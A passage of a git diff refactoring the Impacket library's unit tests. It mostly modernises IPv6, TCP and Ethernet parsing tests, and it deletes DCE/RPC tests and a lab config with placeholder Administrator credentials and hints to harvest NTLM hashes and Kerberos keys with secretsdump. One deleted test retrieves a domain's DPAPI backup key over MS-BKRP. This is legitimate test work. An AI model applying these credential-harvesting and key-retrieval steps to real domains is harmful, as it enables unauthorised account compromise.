Address conversions.""" text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD" binary_address = [0xFE, 0x80, 0x12, 0x34, - 0x56, 0x78, 0xAB, 0xCD, + 0x56, 0x78, 0xAB, 0xCD, 0xEF, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD] - self.assert_(IP6_Address.IP6_Address(text_address).as_string() == text_address, "IP6 address conversion text -> text failed") - self.assert_(IP6_Address.IP6_Address(binary_address).as_bytes() == binary_address, "IP6 address conversion binary -> binary failed") - self.assert_(IP6_Address.IP6_Address(binary_address).as_string() == text_address, "IP6 address conversion binary -> text failed") - self.assert_(IP6_Address.IP6_Address(text_address).as_bytes().tolist() == binary_address, "IP6 address conversion text -> binary failed") - + self.assertEqual(IP6_Address.IP6_Address(text_address).as_string(), text_address, + "IP6 address conversion text -> text failed") + self.assertEqual(IP6_Address.IP6_Address(binary_address).as_bytes(), binary_address, + "IP6 address conversion binary -> binary failed") + self.assertEqual(IP6_Address.IP6_Address(binary_address).as_string(), text_address, + "IP6 address conversion binary -> text failed") + self.assertEqual(IP6_Address.IP6_Address(text_address).as_bytes().tolist(), binary_address, + "IP6 address conversion text -> binary failed") + def test_compressions(self): - '''Test IP6 Address compressions.''' - compressed_addresses = [ "::", - "1::", - "::1", - "1::2", - "1::1:2:3", - "FE80:234:567:4::1" - ] + """Test IP6 Address compressions.""" + compressed_addresses = ["::", + "1::", + "::1", + "1::2", + "1::1:2:3", + "FE80:234:567:4::1" + ] full_addresses = ["0000:0000:0000:0000:0000:0000:0000:0000", "0001:0000:0000:0000:0000:0000:0000:0000", "0000:0000:0000:0000:0000:0000:0000:0001", @@ -95,32 +105,42 @@ def test_compressions(self): "0001:0000:0000:0000:0000:0001:0002:0003", "FE80:0234:0567:0004:0000:0000:0000:0001" ] - - for f, c in zip(full_addresses, compressed_addresses): - self.assert_(IP6_Address.IP6_Address(f).as_string() == c, "IP6 address compression failed with full address: " + f) - self.assert_(IP6_Address.IP6_Address(c).as_string(False) == f, "IP6 address compression failed with compressed address:" + c) + for f, c in zip(full_addresses, compressed_addresses): + self.assertEqual(IP6_Address.IP6_Address(f).as_string(), c, + "IP6 address compression failed with full address: " + f) + self.assertEqual(IP6_Address.IP6_Address(c).as_string(False), f, + "IP6 address compression failed with compressed address:" + c) def test_scoped_addresses(self): - '''Test scoped addresses.''' + """Test scoped addresses.""" numeric_scoped_address = "FE80::1234:1%12" - self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).as_string() == numeric_scoped_address, "Numeric scoped address conversion failed on address: " + numeric_scoped_address) - self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).get_scope_id() == "12", "Numeric scope ID fetch failed on address: " + numeric_scoped_address) - self.assert_(IP6_Address.IP6_Address(numeric_scoped_address).get_unscoped_address() == "FE80::1234:1", "Get unscoped address failed on address: " + numeric_scoped_address) - + self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).as_string(), numeric_scoped_address, + "Numeric scoped address conversion failed on address: " + numeric_scoped_address) + self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_scope_id(), "12", + "Numeric scope ID fetch failed on address: " + numeric_scoped_address) + self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_unscoped_address(), "FE80::1234:1", + "Get unscoped address failed on address: " + numeric_scoped_address) + unscoped_address = "1::4:1" - self.assert_(IP6_Address.IP6_Address(unscoped_address).as_string() == unscoped_address, "Unscoped address conversion failed on address: " + unscoped_address) - self.assert_(IP6_Address.IP6_Address(unscoped_address).get_scope_id() == "", "Unscoped address scope ID fetch failed on address: " + unscoped_address) - self.assert_(IP6_Address.IP6_Address(unscoped_address).get_unscoped_address() == unscoped_address, "Get unscoped address failed on address: " + unscoped_address) - - text_scoped_address = "FE80::1234:1%BLAH" - self.assert_(IP6_Address.IP6_Address(text_scoped_address).as_string() == text_scoped_address, "Text scoped address conversion failed on address: " + text_scoped_address) - self.assert_(IP6_Address.IP6_Address(text_scoped_address).get_scope_id() == "BLAH", "Text scope ID fetch failed on address: " + text_scoped_address) - self.assert_(IP6_Address.IP6_Address(text_scoped_address).get_unscoped_address() == "FE80::1234:1", "Get unscoped address failed on address: " + text_scoped_address) - + self.assertEqual(IP6_Address.IP6_Address(unscoped_address).as_string(), unscoped_address, + "Unscoped address conversion failed on address: " + unscoped_address) + self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_scope_id(), "", + "Unscoped address scope ID fetch failed on address: " + unscoped_address) + self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_unscoped_address(), unscoped_address, + "Get unscoped address failed on address: " + unscoped_address) + + text_scoped_address = "FE80::1234:1%BLAH" + self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).as_string(), text_scoped_address, + "Text scoped address conversion failed on address: " + text_scoped_address) + self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_scope_id(), "BLAH", + "Text scope ID fetch failed on address: " + text_scoped_address) + self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_unscoped_address(), "FE80::1234:1", + "Get unscoped address failed on address: " + text_scoped_address) + empty_scoped_address = "FE80::1234:1%" self.assertRaises(Exception, IP6_Address.IP6_Address, empty_scoped_address) -suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6_Address) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_IP6_Extension_Headers.py b/tests/ImpactPacket/test_IP6_Extension_Headers.py index 2f6a8a3738..cc57c8a58c 100644 --- a/tests/ImpactPacket/test_IP6_Extension_Headers.py +++ b/tests/ImpactPacket/test_IP6_Extension_Headers.py @@ -1,25 +1,19 @@ #!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import division from __future__ import print_function -import sys +import unittest from six import PY2 -sys.path.insert(0,"../..") - -#Impact test version -try: - from impacket import IP6_Address, IP6, ImpactDecoder, IP6_Extension_Headers -except: - pass - -#Standalone test version -try: - import sys - sys.path.insert(0,"../..") - import IP6_Address, IP6, ImpactDecoder, IP6_Extension_Headers -except: - pass -import unittest +from impacket import IP6, ImpactDecoder, IP6_Extension_Headers + class TestIP6(unittest.TestCase): def string_to_list(self, bytes): @@ -616,5 +610,6 @@ def test_decoding_extension_header_from_string(self): self.assertEqual(padn_option_type, 1, "Simple Hop By Hop Parsing - Incorrect option type") self.assertEqual(padn_option_length, 12, "Simple Hop By Hop Parsing - Incorrect option size") -suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_TCP.py b/tests/ImpactPacket/test_TCP.py index 78eff90703..f7348b51ae 100644 --- a/tests/ImpactPacket/test_TCP.py +++ b/tests/ImpactPacket/test_TCP.py @@ -1,22 +1,15 @@ #!/usr/bin/env python -#Impact test version -try: - from impacket.ImpactDecoder import EthDecoder - from impacket.ImpactPacket import TCP -except: - raise - pass - -#Standalone test version -try: - import sys - sys.path.insert(0,"../..") - from ImpactDecoder import EthDecoder - from ImpactPacket import TCP -except: - pass - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.ImpactPacket import TCP + class TestTCP(unittest.TestCase): @@ -141,5 +134,6 @@ def test_09(self): self.assertEqual(self.tcp.get_CWR(), 1) self.assertEqual(self.tcp.get_th_flags(), 0xAA ) -suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_TCP_bug_issue7.py b/tests/ImpactPacket/test_TCP_bug_issue7.py index 1106901361..c13c28fa63 100755 --- a/tests/ImpactPacket/test_TCP_bug_issue7.py +++ b/tests/ImpactPacket/test_TCP_bug_issue7.py @@ -1,11 +1,16 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.ImpactPacket import TCP, ImpactPacketException +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest from threading import Thread +from impacket.ImpactPacket import TCP, ImpactPacketException + class TestTCP(unittest.TestCase): @@ -22,21 +27,20 @@ def run(self): try: frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' - tcp = TCP(frame) + TCP(frame) except ImpactPacketException as e: if str(e) != "'TCP Option length is too low'": raise e - except: + except Exception: pass thread_hangs = it_hangs() - thread_hangs.setDaemon(True) + thread_hangs.daemon = True thread_hangs.start() - thread_hangs.join(1.0) # 1 seconds timeout - self.assertEqual(thread_hangs.isAlive(), False) - #if thread_hang.isAlive(): + thread_hangs.join(1.0) # 1 seconds timeout + self.assertEqual(thread_hangs.is_alive(), False) -suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/ImpactPacket/test_ethernet.py b/tests/ImpactPacket/test_ethernet.py index d1a6601c01..f2cdd6a1f4 100644 --- a/tests/ImpactPacket/test_ethernet.py +++ b/tests/ImpactPacket/test_ethernet.py @@ -1,11 +1,16 @@ #!/usr/bin/env python - -import sys -sys.path.insert(0,"../..") - -from impacket.ImpactPacket import Ethernet, EthernetTag -from array import array +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from array import array +from impacket.ImpactPacket import Ethernet, EthernetTag + class TestEthernet(unittest.TestCase): @@ -105,5 +110,5 @@ def check_tags(*tags): self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestEthernet) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/__init__.py b/tests/SMB_RPC/__init__.py index 2ae28399f5..c25d10173f 100644 --- a/tests/SMB_RPC/__init__.py +++ b/tests/SMB_RPC/__init__.py @@ -1 +1,9 @@ -pass +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# diff --git a/tests/SMB_RPC/dcetests.cfg b/tests/SMB_RPC/dcetests.cfg deleted file mode 100644 index c2e4afb282..0000000000 --- a/tests/SMB_RPC/dcetests.cfg +++ /dev/null @@ -1,41 +0,0 @@ -[global] - -[TCPTransport] -# NetBIOS Name -servername = -# Targets IP -machine = 172.16.123.232 -username = Administrator -password = test -# NTLM Hash, you can grab it with secretsdump -hashes = -# Kerberos AES 256 Key, you can grab it with secretsdump -aesKey256 = -# Kerberos AES 128 Key, you can grab it with secretsdump -aesKey128 = -# It must be the domain FQDN -domain = CONTOSO.COM -# This need to be a domain joined machine NetBIOS name -machineuser= -# Domain joined machine NetBIOS name hashes (grab them with secretsdump) -machineuserhashes = - -[SMBTransport] -# NetBIOS Name -servername = -# Targets IP -machine = 172.16.123.232 -username = Administrator -password = test -# NTLM Hash, you can grab it with secretsdump -hashes = -# Kerberos AES 256 Key, you can grab it with secretsdump -aesKey256 = -# Kerberos AES 128 Key, you can grab it with secretsdump -aesKey128 = -# It must be the domain FQDN -domain = CONTOSO.COM -# This need to be a domain joined machine NetBIOS name -machineuser= -# Domain joined machine NetBIOS name hashes (grab them with secretsdump) -machineuserhashes = diff --git a/tests/SMB_RPC/rundce.sh b/tests/SMB_RPC/rundce.sh deleted file mode 100755 index 180eb74dbe..0000000000 --- a/tests/SMB_RPC/rundce.sh +++ /dev/null @@ -1,36 +0,0 @@ -#!/bin/bash -separator='======================================================================' - -export PYTHONPATH=../../:$PYTHONPATH -if [ $# -gt 0 ] -then - # Only run coverage when called by tox - RUN="python -m coverage run --append --rcfile=../coveragerc " -else - RUN=python -fi - -python -V > /tmp/version - -$RUN test_rpcrt.py -$RUN test_scmr.py -$RUN test_epm.py -$RUN test_samr.py -$RUN test_wkst.py -$RUN test_srvs.py -$RUN test_lsad.py -$RUN test_lsat.py -$RUN test_rrp.py -$RUN test_mgmt.py -$RUN test_ndr.py -$RUN test_drsuapi.py -$RUN test_wmi.py -$RUN test_dcomrt.py -$RUN test_even6.py -$RUN test_bkrp.py -$RUN test_tsch.py -$RUN test_dhcpm.py -$RUN test_secretsdump.py -$RUN test_nrpc.py -$RUN test_rprn.py -$RUN test_rpch.py diff --git a/tests/SMB_RPC/test_bkrp.py b/tests/SMB_RPC/test_bkrp.py deleted file mode 100644 index a5237e310f..0000000000 --- a/tests/SMB_RPC/test_bkrp.py +++ /dev/null @@ -1,233 +0,0 @@ -############################################################################### -# Tested so far: -# -# BackuprKey -# -# Shouldn't dump errors against a win7 -# -################################################################################ - -from __future__ import division -from __future__ import print_function - -import unittest - -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import bkrp -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from impacket.dcerpc.v5.dtypes import NULL - -try: - from cryptography import x509 - from cryptography.hazmat.backends import default_backend -except ImportError: - print("In order to run these test cases you need the cryptography package") - - -class BKRPTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.connect() - dce.bind(bkrp.MSRPC_UUID_BKRP, transfer_syntax = self.ts) - - return dce, rpctransport - - def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self): - dce, rpctransport = self.connect() - DataIn = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \ - b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \ - b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh." - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID - request['pDataIn'] = DataIn - request['cbDataIn'] = len(DataIn) - request['dwParam'] = 0 - - resp = dce.request(request) - - resp.dump() - - wrapped = bkrp.WRAPPED_SECRET() - wrapped.fromString(b''.join(resp['ppDataOut'])) - wrapped.dump() - - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID - request['pDataIn'] = b''.join(resp['ppDataOut']) - request['cbDataIn'] = resp['pcbDataOut'] - request['dwParam'] = 0 - - resp = dce.request(request) - - resp.dump() - - assert(DataIn == b''.join(resp['ppDataOut'])) - - def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self): - dce, rpctransport = self.connect() - - DataIn = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \ - b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \ - b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh." - resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, DataIn) - - resp.dump() - - wrapped = bkrp.WRAPPED_SECRET() - wrapped.fromString(b''.join(resp['ppDataOut'])) - wrapped.dump() - - resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID, b''.join(resp['ppDataOut'])) - - resp.dump() - - assert (DataIn == b''.join(resp['ppDataOut'])) - - def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self): - dce, rpctransport = self.connect() - DataIn = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \ - b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \ - b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh." - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID - request['pDataIn'] = DataIn - request['cbDataIn'] = len(DataIn) - request['dwParam'] = 0 - - resp = dce.request(request) - - resp.dump() - - wrapped = bkrp.WRAPPED_SECRET() - wrapped.fromString(b''.join(resp['ppDataOut'])) - wrapped.dump() - - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID_WIN2K - request['pDataIn'] = b''.join(resp['ppDataOut']) - request['cbDataIn'] = resp['pcbDataOut'] - request['dwParam'] = 0 - - resp = dce.request(request) - - resp.dump() - - assert(DataIn == b''.join(resp['ppDataOut'])) - - def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self): - dce, rpctransport = self.connect() - - DataIn = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \ - b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \ - b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh." - resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, DataIn ) - - resp.dump() - - wrapped = bkrp.WRAPPED_SECRET() - wrapped.fromString(b''.join(resp['ppDataOut'])) - wrapped.dump() - - resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID_WIN2K, b''.join(resp['ppDataOut']) ) - - resp.dump() - - assert(DataIn == b''.join(resp['ppDataOut'])) - - - def test_BackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self): - dce, rpctransport = self.connect() - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID - request['pDataIn'] = NULL - request['cbDataIn'] = 0 - request['dwParam'] = 0 - - resp = dce.request(request) - - resp.dump() - - #print "LEN: %d" % len(''.join(resp['ppDataOut'])) - #hexdump(''.join(resp['ppDataOut'])) - - cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend()) - - print(cert.subject) - print(cert.issuer) - print(cert.signature) - - def test_hBackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self): - dce, rpctransport = self.connect() - request = bkrp.BackuprKey() - request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID - request['pDataIn'] = NULL - request['cbDataIn'] = 0 - request['dwParam'] = 0 - - resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID, NULL) - - resp.dump() - - #print "LEN: %d" % len(''.join(resp['ppDataOut'])) - #hexdump(''.join(resp['ppDataOut'])) - - cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend()) - - print(cert.subject) - print(cert.issuer) - print(cert.signature) - - -class SMBTransport(BKRPTests): - def setUp(self): - BKRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\protected_storage]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(BKRPTests): - def setUp(self): - BKRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\protected_storage]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_dhcpm.py b/tests/SMB_RPC/test_dhcpm.py deleted file mode 100755 index 3353d082c2..0000000000 --- a/tests/SMB_RPC/test_dhcpm.py +++ /dev/null @@ -1,211 +0,0 @@ -############################################################################### -# Tested so far: -# -# DhcpGetClientInfoV4 -# DhcpV4GetClientInfo -# -# Not yet: -# -# -################################################################################ - -from __future__ import division -from __future__ import print_function - -import socket -import struct -import unittest - -from six.moves import configparser - -from impacket.dcerpc.v5 import epm, dhcpm -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY - - -class DHCPMTests(unittest.TestCase): - def connect(self, version): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.connect() - if version == 1: - dce.bind(dhcpm.MSRPC_UUID_DHCPSRV, transfer_syntax = self.ts) - else: - dce.bind(dhcpm.MSRPC_UUID_DHCPSRV2, transfer_syntax = self.ts) - - return dce, rpctransport - - def test_DhcpV4GetClientInfo(self): - dce, rpctransport = self.connect(2) - request = dhcpm.DhcpV4GetClientInfo() - request['ServerIpAddress'] = NULL - - request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress - request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress - ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] - request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip - - #request['SearchInfo']['SearchType'] = 2 - #request['SearchInfo']['SearchInfo']['tag'] = 2 - #ip = netaddr.IPAddress('172.16.123.10') - #request['SearchInfo']['SearchInfo']['ClientName'] = 'PEPONA\0' - - request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - # For now we'e failing. This is not supported in W2k8r2 - if str(e).find('nca_s_op_rng_error') >= 0: - pass - - def test_DhcpGetClientInfoV4(self): - dce, rpctransport = self.connect(1) - request = dhcpm.DhcpGetClientInfoV4() - request['ServerIpAddress'] = NULL - - request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress - request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress - ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] - request['SearchInfo']['SearchInfo']['ClientIpAddress'] = ip - - request.dump() - try: - resp = dce.request(request) - except Exception as e: - if str(e).find('ERROR_DHCP_JET_ERROR') >=0: - pass - else: - resp.dump() - - def test_hDhcpGetClientInfoV4(self): - dce, rpctransport = self.connect(1) - - ip = struct.unpack("!I", socket.inet_aton(self.machine))[0] - try: - resp = dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress, ip) - except Exception as e: - if str(e).find('ERROR_DHCP_JET_ERROR') >=0: - pass - else: - resp.dump() - - try: - resp = dhcpm.hDhcpGetClientInfoV4(dce, dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName, 'PEPA\x00') - resp.dump() - except Exception as e: - if str(e).find('0x4e2d') >= 0: - pass - - def test_hDhcpEnumSubnetClientsV5(self): - - dce, rpctransport = self.connect(2) - - try: - resp = dhcpm.hDhcpEnumSubnetClientsV5(dce) - except Exception as e: - if str(e).find('ERROR_NO_MORE_ITEMS') >=0: - pass - else: - raise - else: - resp.dump() - - def test_hDhcpGetOptionValueV5(self): - dce, rpctransport = self.connect(2) - netId = self.machine.split('.')[:-1] - netId.append('0') - print('.'.join(netId)) - subnet_id = struct.unpack("!I", socket.inet_aton('.'.join(netId)))[0] - try: - resp = dhcpm.hDhcpGetOptionValueV5(dce,3, - dhcpm.DHCP_FLAGS_OPTION_DEFAULT, NULL, NULL, - dhcpm.DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions, - subnet_id) - except Exception as e: - if str(e).find('ERROR_DHCP_SUBNET_NOT_PRESENT') >=0: - pass - else: - raise - else: - resp.dump() - -class SMBTransport(DHCPMTests): - def setUp(self): - DHCPMTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\dhcpserver]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(DHCPMTests): - def setUp(self): - DHCPMTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\dhcpserver]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - -class TCPTransport(DHCPMTests): - def setUp(self): - DHCPMTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, dhcpm.MSRPC_UUID_DHCPSRV2, protocol = 'ncacn_ip_tcp') - #self.stringBinding = epm.hept_map(self.machine, dhcpm.MSRPC_UUID_DHCPSRV, protocol = 'ncacn_ip_tcp') - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class TCPTransport64(DHCPMTests): - def setUp(self): - DHCPMTests.setUp(self) - configFile = configparser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, dhcpm.MSRPC_UUID_DHCPSRV2, protocol = 'ncacn_ip_tcp') - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - - -# Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) diff --git a/tests/SMB_RPC/test_epm.py b/tests/SMB_RPC/test_epm.py deleted file mode 100644 index 328e0ce938..0000000000 --- a/tests/SMB_RPC/test_epm.py +++ /dev/null @@ -1,183 +0,0 @@ -############################################################################### -# Tested so far: -# -# Not yet: -# -# Shouldn't dump errors against a win7 -# -################################################################################ -from __future__ import division -from __future__ import print_function -import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import epm -from impacket.dcerpc.v5.ndr import NULL -from impacket.uuid import string_to_bin, uuidtup_to_bin - - -class EPMTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - if len(self.hashes) > 0: - lmhash, nthash = 